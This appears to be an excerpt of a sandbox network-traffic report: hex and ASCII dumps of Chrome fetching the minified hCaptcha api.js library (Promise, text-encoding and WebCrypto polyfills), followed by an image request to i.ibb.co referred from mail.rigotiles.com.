2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 63 65 2e 63 61 6c 6c 28 74 29 3b 69 66 28 30 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 28 5b 5d 29 3b 76 61 72 20 72 3d 6e 2e 6c 65 6e 67 74 68 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 69 29 7b 69 66 28 69 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 69 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 29 29 7b 76 61 72 20 73 3d 69 2e 74 68 65 6e 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 29 72 65 74 75 72 6e 20 76 6f 69 64 20 73 2e 63 61 6c 6c 28 69 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6f 28 74 2c 65 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 6e 5b 74 5d 3d 7b 73 74 61 74 75 73 3a 22 72 65 6a 65 63 74 65 64 22 2c 72 65 61 73 6f 6e 3a 69 7d 2c 30 3d 3d 2d 2d 72 26 Data Ascii: ce.call(t);if(0===n.length)return e([]);var r=n.length;function o(t,i){if(i&&("object"==typeof i\|\|"function"==typeof i)){var s=i.then;if("function"==typeof s)return void s.call(i,(function(e){o(t,e)}),(function(i){n[t]={status:"rejected",reason:i},0==--r&
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 74 63 68 28 6f 29 7b 63 28 74 2c 6f 29 7d 76 61 72 20 6e 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 65 29 7b 74 2e 5f 73 74 61 74 65 3d 32 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 68 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 29 7b 32 3d 3d 3d 74 2e 5f 73 74 61 74 65 26 26 30 3d 3d 3d 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 26 26 73 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 5f 68 61 6e 64 6c 65 64 7c 7c 73 2e 5f 75 6e 68 61 6e 64 6c 65 64 52 65 6a 65 63 74 69 6f 6e 46 6e 28 74 2e 5f 76 61 6c 75 65 29 7d 29 29 3b 66 6f 72 28 76 61 72 20 65 3d 30 2c 69 3d 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 3b 65 3c 69 3b 65 2b 2b 29 61 28 74 2c 74 2e 5f 64 65 66 65 72 72 65 64 73 5b 65 5d Data Ascii: tch(o){c(t,o)}var n,r}function c(t,e){t._state=2,t._value=e,h(t)}function h(t){2===t._state&&0===t._deferreds.length&&s._immediateFn((function(){t._handled\|\|s._unhandledRejectionFn(t._value)}));for(var e=0,i=t._deferreds.length;e<i;e++)a(t,t._deferreds[e]
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 6f 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 6f 3b 6e 2b 2b 29 73 2e 72 65 73 6f 6c 76 65 28 74 5b 6e 5d 29 2e 74 68 65 6e 28 65 2c 69 29 7d 29 29 7d 2c 73 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 28 74 29 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 28 74 2c 30 29 7d 2c 73 2e 5f 75 6e 68 61 6e 64 6c 65 64 52 65 6a 65 63 74 69 6f 6e 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 Data Ascii: Error("Promise.race accepts an array"));for(var n=0,o=t.length;n<o;n++)s.resolve(t[n]).then(e,i)}))},s._immediateFn="function"==typeof n&&function(t){n(t)}\|\|function(t){i(t,0)},s._unhandledRejectionFn=function(t){"undefined"!=typeof console&&console&&cons
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 35 33 33 7d 66 75 6e 63 74 69 6f 6e 20 78 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 53 74 72 69 6e 67 28 74 29 2e 74 72 69 6d 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6b 2c 74 29 3f 6b 5b 74 5d 3a 6e 75 6c 6c 7d 76 61 72 20 6b 3d 7b 7d 3b 5b 7b 65 6e 63 6f 64 69 6e 67 73 3a 5b 7b 6c 61 62 65 6c 73 3a 5b 22 75 6e 69 63 6f 64 65 2d 31 2d 31 2d 75 74 66 2d 38 22 2c 22 75 74 66 2d 38 22 2c 22 75 74 66 38 22 5d 2c 6e 61 6d 65 3a 22 55 54 46 2d 38 22 7d 5d 2c 68 65 61 64 69 6e 67 3a 22 54 68 65 20 45 6e 63 6f 64 69 6e 67 22 7d 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 6e 63 6f 64 69 6e 67 73 2e 66 6f 72 45 61 Data Ascii: 533}function x(t){return t=String(t).trim().toLowerCase(),Object.prototype.hasOwnProperty.call(k,t)?k[t]:null}var k={};[{encodings:[{labels:["unicode-1-1-utf-8","utf-8","utf8"],name:"UTF-8"}],heading:"The Encoding"}].forEach((function(t){t.encodings.forEa
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 6e 3d 78 28 74 3d 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 53 74 72 69 6e 67 28 74 29 3a 41 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 6e 7c 7c 22 72 65 70 6c 61 63 65 6d 65 6e 74 22 3d 3d 3d 6e 2e 6e 61 6d 65 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 6e 6b 6e 6f 77 6e 20 65 6e 63 6f 64 69 6e 67 3a 20 22 2b 74 29 3b 69 66 28 21 5f 5b 6e 2e 6e 61 6d 65 5d 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 45 6e 63 6f 64 65 72 20 6e 6f 74 20 70 72 65 73 65 6e 74 2e 20 44 69 64 20 79 6f 75 20 66 6f 72 67 65 74 20 74 6f 20 69 6e 63 6c 75 64 65 20 65 6e 63 6f 64 69 6e 67 2d 69 6e 64 65 78 65 73 2e 6a 73 20 66 69 72 73 74 3f 22 29 3b 69 2e 5f 65 6e 63 6f 64 69 6e 67 3d 6e 7d 65 6c 73 65 20 69 2e 5f 65 6e 63 6f 64 69 6e 67 3d 78 28 22 75 74 66 2d 38 22 29 3b Data Ascii: n=x(t=t!==undefined?String(t):A);if(null===n\|\|"replacement"===n.name)throw RangeError("Unknown encoding: "+t);if(!_[n.name])throw Error("Encoder not present. Did you forget to include encoding-indexes.js first?");i._encoding=n}else i._encoding=x("utf-8");
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 6e 6f 72 65 42 4f 4d 7d 7d 29 29 2c 53 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 3b 69 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 22 62 75 66 66 65 72 22 69 6e 20 74 26 26 74 2e 62 75 66 66 65 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 3f 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 74 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 30 29 2c 65 3d 79 28 Data Ascii: noreBOM}})),S.prototype.decode=function(t,e){var i;i="object"==typeof t&&t instanceof ArrayBuffer?new Uint8Array(t):"object"==typeof t&&"buffer"in t&&t.buffer instanceof ArrayBuffer?new Uint8Array(t.buffer,t.byteOffset,t.byteLength):new Uint8Array(0),e=y(
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 73 68 7c 7c 28 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 3d 5f 5b 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 2e 6e 61 6d 65 5d 28 7b 66 61 74 61 6c 3a 22 66 61 74 61 6c 22 3d 3d 3d 74 68 69 73 2e 5f 66 61 74 61 6c 7d 29 29 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 3d 42 6f 6f 6c 65 61 6e 28 65 2e 73 74 72 65 61 6d 29 3b 66 6f 72 28 76 61 72 20 69 2c 6e 3d 6e 65 77 20 76 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 53 74 72 69 6e 67 28 74 29 2c 69 3d 65 2e 6c 65 6e 67 74 68 2c 6e 3d 30 2c 72 3d 5b 5d 3b 6e 3c 69 3b 29 7b 76 61 72 20 6f 3d 65 2e 63 68 61 72 43 6f 64 65 41 74 28 6e 29 3b 69 66 28 6f 3c 35 35 32 39 36 7c 7c 6f 3e 35 37 33 34 33 29 72 2e 70 75 73 68 28 6f 29 3b 65 6c 73 65 20 69 66 28 6f 3e 3d 35 36 33 32 30 Data Ascii: sh\|\|(this._encoder=_[this._encoding.name]({fatal:"fatal"===this._fatal})),this._do_not_flush=Boolean(e.stream);for(var i,n=new v(function(t){for(var e=String(t),i=e.length,n=0,r=[];n<i;){var o=e.charCodeAt(n);if(o<55296\|\|o>57343)r.push(o);else if(o>=56320
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 2c 6f 2c 6c 29 7b 76 61 72 20 63 2c 68 2c 75 2c 70 2c 77 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 22 67 65 6e 65 72 61 74 65 4b 65 79 22 3a 63 3d 79 28 72 29 2c 68 3d 6f 2c 75 3d 6c 3b 62 72 65 61 6b 3b 63 61 73 65 22 69 6d 70 6f 72 74 4b 65 79 22 3a 63 3d 79 28 6c 29 2c 68 3d 77 5b 33 5d 2c 75 3d 77 5b 34 5d 2c 22 6a 77 6b 22 3d 3d 3d 72 26 26 28 28 6f 3d 67 28 6f 29 29 2e 61 6c 67 7c 7c 28 6f 2e 61 6c 67 3d 6d 28 63 29 29 2c 6f 2e 6b 65 79 5f 6f 70 73 7c 7c 28 6f 2e 6b 65 79 5f 6f 70 73 3d 22 6f 63 74 22 21 3d 3d 6f 2e 6b 74 79 3f 22 64 22 69 6e 20 6f 3f 75 2e 66 69 6c 74 65 72 28 45 29 3a 75 2e 66 69 6c 74 65 72 28 5f 29 3a 75 2e 73 6c 69 63 65 28 29 29 2c 77 5b 31 5d 3d 76 Data Ascii: ,o,l){var c,h,u,p,w=[].slice.call(arguments);switch(t){case"generateKey":c=y(r),h=o,u=l;break;case"importKey":c=y(l),h=w[3],u=w[4],"jwk"===r&&((o=g(o)).alg\|\|(o.alg=m(c)),o.key_ops\|\|(o.key_ops="oct"!==o.kty?"d"in o?u.filter(E):u.filter(_):u.slice()),w[1]=v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49723	104.19.229.21	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:51 UTC	347	OUT	GET /1/api.js HTTP/1.1 Host: js.hcaptcha.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:51 UTC	510	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:51 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: max-age=300 etag: W/"2b5a35fbd77d40bce698500285e9b2a5" vary: Accept-Encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff age: 0 cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8db68aebdb13477e-DFW
2024-10-31 20:54:51 UTC	859	IN	Data Raw: 37 64 39 36 0d 0a 2f 2a 20 68 74 74 70 73 3a 2f 2f 68 63 61 70 74 63 68 61 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 73 6f 6c 76 65 28 65 28 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 73 6f 6c 76 65 28 65 28 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 6a 65 63 74 28 6e Data Ascii: 7d96/* https://hcaptcha.com/license */!function(){"use strict";function e(e){var t=this.constructor;return this.then((function(n){return t.resolve(e()).then((function(){return n}))}),(function(n){return t.resolve(e()).then((function(){return t.reject(n
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 3f 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 61 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 73 20 6d 75 73 74 20 62 65 20 63 6f 6e 73 74 72 75 63 74 65 64 20 76 69 61 20 6e 65 77 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 Data Ascii: peof setImmediate?setImmediate:null;function i(e){return Boolean(e&&"undefined"!=typeof e.length)}function o(){}function a(e){if(!(this instanceof a))throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 73 2e 70 72 6f 6d 69 73 65 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 76 61 72 20 6e 3d 21 31 3b 74 72 79 7b 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 63 28 74 2c 65 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 6c 28 74 2c 65 29 29 7d 29 29 7d 63 61 74 63 68 28 72 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 3b 6e 3d 21 30 2c 6c 28 74 2c 72 29 7d 7d 61 2e 70 72 6f 74 6f 74 79 70 65 5b 22 63 61 74 63 68 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 6e 75 6c 6c 2c 65 29 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 6e 65 77 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 Data Ascii: s.promise=n}function d(e,t){var n=!1;try{e((function(e){n\|\|(n=!0,c(t,e))}),(function(e){n\|\|(n=!0,l(t,e))}))}catch(r){if(n)return;n=!0,l(t,r)}}a.prototype["catch"]=function(e){return this.then(null,e)},a.prototype.then=function(e,t){var n=new this.construc
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 6f 66 20 77 69 6e 64 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 75 6e 61 62 6c 65 20 74 6f 20 6c 6f 63 61 74 65 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 74 3c 3d 65 26 26 65 3c 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 69 66 28 65 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 7b 7d 3b 69 66 28 65 3d 3d 3d 4f 62 6a 65 63 74 28 65 29 29 72 65 74 75 72 6e 20 65 3b 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 6f 75 6c 64 20 6e 6f 74 20 63 6f 6e 76 65 Data Ascii: of window)return window;if("undefined"!=typeof global)return global;throw new Error("unable to locate global object")}();function p(e,t,n){return t<=e&&e<=n}function m(e){if(e===undefined)return{};if(e===Object(e))return e;throw TypeError("Could not conve
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 54 28 65 29 7d 7d 2c 53 3d 22 75 74 66 2d 38 22 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 65 2c 74 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6c 6c 65 64 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 2e 20 44 69 64 20 79 6f 75 20 66 6f 72 67 65 74 20 27 6e 65 77 27 3f 22 29 3b 65 3d 65 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 53 74 72 69 6e 67 28 65 29 3a 53 2c 74 3d 6d 28 74 29 2c 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 67 6e 6f 72 65 42 4f 4d 3d 21 31 2c 74 68 69 73 2e 5f 42 4f 4d 73 65 65 6e 3d 21 31 2c 74 68 69 73 2e 5f 65 72 72 6f 72 5f Data Ascii: ){return new T(e)}},S="utf-8";function O(e,t){if(!(this instanceof O))throw TypeError("Called as a function. Did you forget 'new'?");e=e!==undefined?String(e):S,t=m(t),this._encoding=null,this._decoder=null,this._ignoreBOM=!1,this._BOMseen=!1,this._error_
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 3b 74 68 69 73 2e 68 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 69 66 28 73 3d 3d 3d 79 26 26 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 3d 30 2c 62 28 74 29 3b 69 66 28 73 3d 3d 3d 79 29 72 65 74 75 72 6e 20 77 3b 69 66 28 30 3d 3d 3d 69 29 7b 69 66 28 70 28 73 2c 30 2c 31 32 37 29 29 72 65 74 75 72 6e 20 73 3b 69 66 28 70 28 73 2c 31 39 34 2c 32 32 33 29 29 69 3d 31 2c 6e 3d 33 31 26 73 3b 65 6c 73 65 20 69 66 28 70 28 73 2c 32 32 34 2c 32 33 39 29 29 32 32 34 3d 3d 3d 73 26 26 28 6f 3d 31 36 30 29 2c 32 33 37 3d 3d 3d 73 26 26 28 61 3d 31 35 39 29 2c 69 3d 32 2c 6e 3d 31 35 26 73 3b 65 6c 73 65 7b 69 66 28 21 70 28 73 2c 32 34 30 2c 32 34 34 29 29 72 65 74 75 72 6e 20 62 28 74 29 3b 32 34 30 3d 3d 3d 73 26 26 28 6f 3d 31 34 34 29 2c Data Ascii: ;this.handler=function(e,s){if(s===y&&0!==i)return i=0,b(t);if(s===y)return w;if(0===i){if(p(s,0,127))return s;if(p(s,194,223))i=1,n=31&s;else if(p(s,224,239))224===s&&(o=160),237===s&&(a=159),i=2,n=15&s;else{if(!p(s,240,244))return b(t);240===s&&(o=144),
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 75 73 68 3d 42 6f 6f 6c 65 61 6e 28 74 2e 73 74 72 65 61 6d 29 3b 66 6f 72 28 76 61 72 20 72 2c 69 3d 6e 65 77 20 76 28 6e 29 2c 6f 3d 5b 5d 3b 3b 29 7b 76 61 72 20 61 3d 69 2e 72 65 61 64 28 29 3b 69 66 28 61 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 61 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 6e 75 6c 6c 21 3d 3d 72 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 6f 2e 70 75 73 68 2e 61 70 70 6c 79 28 6f 2c 72 29 3a 6f 2e 70 75 73 68 28 72 29 29 7d 69 66 28 21 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 29 7b 64 6f 7b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 69 2e 72 65 61 64 28 29 29 29 3d 3d 3d 77 29 62 Data Ascii: ush=Boolean(t.stream);for(var r,i=new v(n),o=[];;){var a=i.read();if(a===y)break;if((r=this._decoder.handler(i,a))===w)break;null!==r&&(Array.isArray(r)?o.push.apply(o,r):o.push(r))}if(!this._do_not_flush){do{if((r=this._decoder.handler(i,i.read()))===w)b
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 61 72 20 73 3d 31 30 32 33 26 6f 2c 63 3d 31 30 32 33 26 61 3b 69 2e 70 75 73 68 28 36 35 35 33 36 2b 28 73 3c 3c 31 30 29 2b 63 29 2c 72 2b 3d 31 7d 65 6c 73 65 20 69 2e 70 75 73 68 28 36 35 35 33 33 29 7d 72 2b 3d 31 7d 72 65 74 75 72 6e 20 69 7d 28 65 29 29 2c 69 3d 5b 5d 3b 3b 29 7b 76 61 72 20 6f 3d 72 2e 72 65 61 64 28 29 3b 69 66 28 6f 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 6e 3d 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 72 2c 6f 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 69 2e 70 75 73 68 2e 61 70 70 6c 79 28 69 2c 6e 29 3a 69 2e 70 75 73 68 28 6e 29 7d 69 66 28 21 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 29 7b 66 6f 72 28 3b 28 6e 3d 74 68 69 73 2e 5f 65 6e Data Ascii: ar s=1023&o,c=1023&a;i.push(65536+(s<<10)+c),r+=1}else i.push(65533)}r+=1}return i}(e)),i=[];;){var o=r.read();if(o===y)break;if((n=this._encoder.handler(r,o))===w)break;Array.isArray(n)?i.push.apply(i,n):i.push(n)}if(!this._do_not_flush){for(;(n=this._en
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 7c 7c 7b 22 53 48 41 2d 31 22 3a 35 31 32 2c 22 53 48 41 2d 32 35 36 22 3a 35 31 32 2c 22 53 48 41 2d 33 38 34 22 3a 31 30 32 34 2c 22 53 48 41 2d 35 31 32 22 3a 31 30 32 34 7d 5b 6c 2e 68 61 73 68 2e 6e 61 6d 65 5d 2c 6e 2e 69 6d 70 6f 72 74 4b 65 79 28 22 72 61 77 22 2c 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 6c 2e 6c 65 6e 67 74 68 2b 37 3e 3e 33 29 29 2c 6c 2c 75 2c 68 29 3b 69 66 28 73 26 26 22 67 65 6e 65 72 61 74 65 4b 65 79 22 3d 3d 3d 65 26 26 22 52 53 41 53 53 41 2d 50 4b 43 53 31 2d 76 31 5f 35 22 3d 3d 3d 6c 2e 6e 61 6d 65 26 26 28 21 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 7c 7c 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 3e 3d 32 30 34 38 29 29 72 65 74 75 72 6e 28 69 3d 6d 28 Data Ascii: \|\|{"SHA-1":512,"SHA-256":512,"SHA-384":1024,"SHA-512":1024}[l.hash.name],n.importKey("raw",t.getRandomValues(new Uint8Array(l.length+7>>3)),l,u,h);if(s&&"generateKey"===e&&"RSASSA-PKCS1-v1_5"===l.name&&(!l.modulusLength\|\|l.modulusLength>=2048))return(i=m(
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 64 75 6c 75 73 4c 65 6e 67 74 68 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 29 2c 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 7c 7c 28 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 29 29 2c 65 3d 65 2e 70 75 62 6c 69 63 4b 65 79 26 26 65 2e 70 72 69 76 61 74 65 4b 65 79 3f 7b 70 75 62 6c 69 63 4b 65 79 3a 6e 65 77 20 78 28 65 2e 70 75 62 6c 69 63 4b 65 79 2c 6c 2c 75 2c 68 2e 66 69 6c 74 65 72 28 45 29 29 2c 70 72 69 76 61 74 65 4b 65 79 3a 6e 65 77 20 78 28 65 2e 70 72 69 76 61 74 65 4b 65 79 2c 6c 2c 75 2c 68 2e 66 69 6c 74 65 72 28 43 29 29 7d Data Ascii: dulusLength=(e.publicKey\|\|e).algorithm.modulusLength),l.publicExponent\|\|(l.publicExponent=(e.publicKey\|\|e).algorithm.publicExponent)),e=e.publicKey&&e.privateKey?{publicKey:new x(e.publicKey,l,u,h.filter(E)),privateKey:new x(e.privateKey,l,u,h.filter(C))}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49722	162.19.58.157	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:51 UTC	590	OUT	GET /SJ5tdZc/download.png HTTP/1.1 Host: i.ibb.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
